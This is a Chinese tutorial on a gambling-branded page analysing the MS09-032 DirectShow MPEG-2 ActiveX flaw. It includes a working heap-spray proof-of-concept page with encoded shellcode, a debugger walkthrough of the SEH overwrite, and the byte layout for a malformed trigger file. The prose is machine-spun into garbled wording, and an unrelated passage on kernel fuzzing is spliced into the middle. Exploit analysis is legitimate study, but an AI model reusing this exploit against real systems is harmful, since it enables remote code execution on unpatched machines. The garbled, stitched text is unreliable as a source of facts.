经由过程非常处置惩罚机制完成破绽应用 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

经由过程非常处置惩罚机制完成破绽应用

申博_安全工具 申博 135次浏览 未收录 0个评论

0x1:MS09-032简介

2009 年 7 月 5 日,微软爆出了 MPEG-2 视频破绽,也就是有名的 Microsoft DirectShow MPEG-2 视频 ActiveX 控件长途代码实行破绽。该破绽微软编号为 MS09-032,CVE 编号为 CVE-2008-0015,对应补丁号为 KB 973346。 该破绽存在于微软 DirectShow 组件 msvidctl.dll 中,文件途径: C:\WINDOWS\system32 \ msvidctl.dll,顺序员由于粗枝大叶,将传入参数 buff 误写为&buff,而&buff 四周碰巧存放着 S.E.H 非常处置惩罚函数指针,因而可以经由过程掩盖 S.E.H 并连系 Heap spray 手艺完成 exploit。 该破绽险些影响到微软当时悉数的操纵的体系。由于 Vista 和 2008 操纵体系上具有一些庇护机制,虽然存在破绽,然则 exploit 代码不能被随意马虎实行。

0x2:Windows 非常处置惩罚机制简介

操纵体系或顺序在运转时,难免会碰到林林总总的毛病,如除零、不法内存接见、文件翻开毛病、内存不足、磁盘读写毛病、外设操纵失利等。为了保证体系在碰到毛病时不至于崩溃,仍可以硬朗稳定地继承运转下去,Windows 会对运转在个中的顺序供应一次弥补的时机来处置惩罚毛病,这类机制就是非常处置惩罚机制。 S.E.H 即非常处置惩罚组织体(Structure Exception Handler),它是 Windows 非常处置惩罚机制所采纳的主要数据组织。每一个 S.E.H 包括两个 DWORD 指针:S.E.H链表指针和非常处置惩罚函数句柄,共8个字节:
DWORD: Next S.E.H recoder
DWORD: Exception handler
对S.E.H须要晓得以下几个基础要点:
(1)S.E.H 组织体存放在体系栈中;
(2)当线程初始化时,会自意向栈中装置一个 S.E.H,作为线程默许的非常处置惩罚;
(2)栈中平常会同时存在多个 S.E.H;
(3)栈中的多个 S.E.H 经由过程链表指针在栈内由栈顶向栈底串成单向链表,位于链表顶端的S.E.H 经由过程 T.E.B(线程环境块)0 字节偏移处的指针标识;
(4)当非常发作时,操纵体系会中缀顺序,并起首从 T.E.B 的 0 字节偏移处找到间隔栈顶近的 S.E.H,然后运用非常处置惩罚函数句柄所指向的非常处置惩罚函数来处置惩罚非常,假如这个非常处置惩罚函数处置惩罚失利,就顺着 S.E.H 链表顺次尝试其他的非常处置惩罚函数;
(5)假如一切非常处置惩罚函数都不能处置惩罚,体系将采纳默许的非常处置惩罚函数。一般,这个函数会弹出一个毛病对话框,然后强迫关闭顺序。

0x3:试验环境预备

操纵体系:XPSP3
调试器:OD,IDA
浏览器版本:IE7
Msvidctl.dll 版本 6.5.2600.5512

0x4:经由过程POC剖析破绽道理

由于这是一个浏览器中的ActiveX 控件破绽,所以我们须要用一个 POC 页面来触发这个破绽。

<html>   
<body>   
<div id="DivID"></div> 
<script>   
var nop="\u9090\u9090"; 
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\ u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8 b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\ u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\ u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\ u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857"; 
//shellcode用于弹出一个MessageBox的对话框
while(nop.length<=0x100000/2)
 {    nop+=nop; //天生一个大小为1M的充溢nop的数据块
} 

nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//减去一些分外信息,使内存片大小为1M
 var slide = new Array();
 for(var i=0;i<200;i++)
 {   
slide[i] = nop + shellcode;//nop的大小靠近1M,shellcode只需几十字节,如许的“nop+shellcode“的组合情势会进步exploit的掷中率,如许的组合有200个;
 } 
var myObject=document.createElement('object');
 DivID.appendChild(myObject);
 myObject.width='1';
 myObject.height='1'; 
myObject.data='./logo.gif';//加载畸形文件,用来触发非常
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; 
</script>   
</body>   
</html>

POC运用了 Heap spray 手艺。起首经由过程 Heap spray 手艺占据内存,JavaScript 会从内存低址向高址分派内存,因而请求的内存凌驾 200MB(200MB=200 ×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 处的数据就会被含有 shellcode 的内存片掩盖。只需内存片中的 0x90 可以掷中 0x0C0C0C0C 处的的数据,shellcode就可以获得实行。然后经由过程向 svidctl.dll 中加载畸形文件来触发非常,末了在顺序触发非常的时候,修正S.E.H的非常处置惩罚函数指针,使其指向shellcode地点地点从而挟制顺序流程。

由于 POC 页面是靠掩盖顺序的 S.E.H 来挟制顺序流程的,所以顺序会在某个位置发作非常,可以从出现非常的位置入手来剖析。起首设置 OllyDbg 可以捕捉一切非常,然后用 OllyDbg 加载 IE,并翻开 POC 页面,OllyDbg 会在非常处中缀,经由过程OD菜单栏的“检察”>“S.E.H链”即可看到非常处置惩罚组织体:
经由过程非常处置惩罚机制完成破绽应用

在OD中可以看到非常发作的位置是0x59F0D5A8,非常发作的原因是计算机在实行该地点处的“cmp dword ptr [ebx+8], esi”指令时,须要读取ds:[00000028]处的数据,但是这是一处无效的内存地点,所以产生了一个读取毛病的非常,发成这个非常的时候,S,E,H的非常处置惩罚函数指针已被掩盖为0x0C0C0C0C;
经由过程非常处置惩罚机制完成破绽应用

接下来,顺序将会被指导去实行非常处置惩罚函数,而函数地点被修正为0x0C0C0C0C,该处的内存数据被掩盖为nop,eip滑过nop就会碰到shellcode,可以经由过程“”检察>”SHE链”调出非常处置惩罚的对话框,然后在对话框中的SHE上右键>”追随句柄”,就会看到0x0C0C0C0C处的内存数据被nop掩盖了:
经由过程非常处置惩罚机制完成破绽应用

接着我们看看shellcode是怎样被写进内存中的,并看看对应破绽的道理。这里先要晓得非常代码地点的函数,把破绽地点的msvidctl.dll用IDA反汇编,然后按G并输入非常发作的位置0x59F0D5A8,接着向上回溯就会找到所属函数的位置0x59F0D3BA,
经由过程非常处置惩罚机制完成破绽应用

由于0x59F0D5A8的内存地点是体系领空,不属于用户领空,所以在这个位置下断点要用硬件断点,从新加载IE来运转POC以跟踪SHE的状况,发明此时SHE的指针还未被掩盖:
经由过程非常处置惩罚机制完成破绽应用

内核漏洞挖掘技术系列(6)——TriforceAFL和KAFL

前言 AFL(http://lcamtuf.coredump.cx/afl/)和对应的windows上的winAFL(https://github.com/googleprojectzero/winafl)可以说是用户态程序二进制漏洞挖掘无人不知的神器,关于它们的分析解读在网上也到处都是。很自然有人就做出了AFL用于内核fuzz的尝试。这篇文章介绍两个相关的工具。第一个是nccgroup的TriforceAFL(https://github.com/nccgroup/TriforceAFL),它对AFL和QEMU进行了patch,TriforceLinuxSyscallFuzzer(https://github.com/nccgroup/TriforceLinuxSyscallFuzzer)可以使用TriforceAFL对内核fuzz。第二个是德国波鸿鲁尔大学的KAFL(https://github.com/RUB-SysSec)。我们先讲解AFL中的qemu mode,然后详细研究TriforceAFL和TriforceLinuxSyscallFuzzer的实现,最后简单介绍KAFL。 AFL中的qemu mode 关于AFL的实现已经有许多分析,这里仅仅介绍AFL中的qemu mode。QEMU能够: 将一个架构(被模拟的架构)的BB(

因而接着单步实行顺序,运转完 0x59F0D469 处的 CALL 0x59F0D3BA 顺序会出现非常。 在函数体内挪用自身,看得出这是一个递归挪用,
经由过程非常处置惩罚机制完成破绽应用

去掉 0x59F0D3BA 处的硬件断点,在0x59F0D469 处下硬件实行断点,用 OllyDbg 从新运转 IE 并翻开 POC 页面。顺序在 0x59F0D469 处中缀后按 F9 键让顺序继承运转,由于这是一个递归挪用所以顺序照样会在 0x59F0D469 处中缀,我们继承按 F9 键,顺序出现非常,这说明非常出如今第二次递归挪用的时候。 用 OllyDbg 从新运转 IE 并翻开 POC 页面,顺序在 0x59F0D469 处中缀后按 F9 键让顺序继承运转,顺序再次中缀在 0x59F0D469时就按 F7单步进入这个 CALL 然后F8步过实行,实行过程当中要时候关注S.E.H 链的状况。顺序实行完 0x59F0D4D4 处的CALL 0x59F0D61E 后 S.E.H 的非常处置惩罚函数指针被修正了,破绽详细信息应当就在这个CALL里了:
经由过程非常处置惩罚机制完成破绽应用

依旧用 OllyDbg 从新运转 IE 并翻开 POC 页面, 顺序在 0x59F0D469 处中缀后我们按 F9 键让顺序继承运转,顺序再次中缀在 0x59F0D469 后对 0x59F0D4D4 下断点,然后按 F9 键让顺序在 0x59F0D4D4 处中缀,接着跟入这个 CALL,然后单步实行并注意 S.E.H 的状况,会发明顺序在实行完 0x59F0D74D 处的 CALL 后 S.E.H 的非常处置惩罚函数指针被修正了,
经由过程非常处置惩罚机制完成破绽应用

先在“调试”>”硬件断点”中把之前的硬件断点删除,然后在0x59F0D74D下一个硬件断点,然后重载IE运转POC,顺序在0x59F0D74D断下,F7进入函数后F8步过实行,当实行完0x7E9821C0处的ReadFile函数后,SHE的非常处置惩罚函数指针被修正:
经由过程非常处置惩罚机制完成破绽应用

ReadFile函数将文件数据读取到一个缓冲区中:
经由过程非常处置惩罚机制完成破绽应用

该函数自身是没题目的,所以可以推想是挪用这个函数时通报的参数存在题目。用 IDA 翻开 Msvidctl.dll,可以看到 0x59F0D74D 四周的反汇编代码以下:
经由过程非常处置惩罚机制完成破绽应用

从代码中 0x59F0D732~0x59F0D737 的操纵可以看出 EBP+8 处应当是一个局部变量,用来保留前面请求的平安数组的指针。当我们往这个数组写数据时只须要从 EBP+8 处掏出这个指针即可,转换成汇编后应为 MOV **,[EBP+8],然则顺序却实行了 LEA ECX,[EBP+8],如许的话通报给ReadFile函数的参数不是[EBP+8]而成了EBP+8。这就相当于通报参数时将 buff 写成了&buff。一般情况下,这个指针([EBP+8])的作用是让函数把数据读取到请求好的数组;如今这个指针直接被当做地点用了,这是完整差别的两个值,读取到的数据就被放到了别的的地点(EBP+8),函数的原有功用被破坏了,更糟的是这个毛病地点离SHE组织体不远,如许就可以工资来组织数据去掩盖SHE非常处置惩罚函数的指针来挟制顺序。

这里须要一个可以触发这个破绽的畸形的 MPEG-2 文件。再次用 OllyDbg 从新运转 IE 并翻开 POC 页面,(经由过程硬件断点)在 0x59F0D74D 处中缀顺序,这时候函数会将文件中的数据部份毛病地写到 0x1E09200 最先的内存中,而间隔这个位置近来的 S.E.H 句柄位于 0x01E0922C,相差48字节,所以只需待读取文件的数据部份长度大于 48 个字节就可以掩盖掉 S.E.H 的非常处置惩罚函数指针。
经由过程非常处置惩罚机制完成破绽应用

只需在MPEG-2 文件数据部份的 41~48 字节部份安排 0xFFFFFFFF 和0x0C0C0C0C 就可以捏造 S.E.H组织体了,读取到畸形文件的时候,触发非常,然后经由过程非常处置惩罚函数指针去实行shellcode。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明经由过程非常处置惩罚机制完成破绽应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址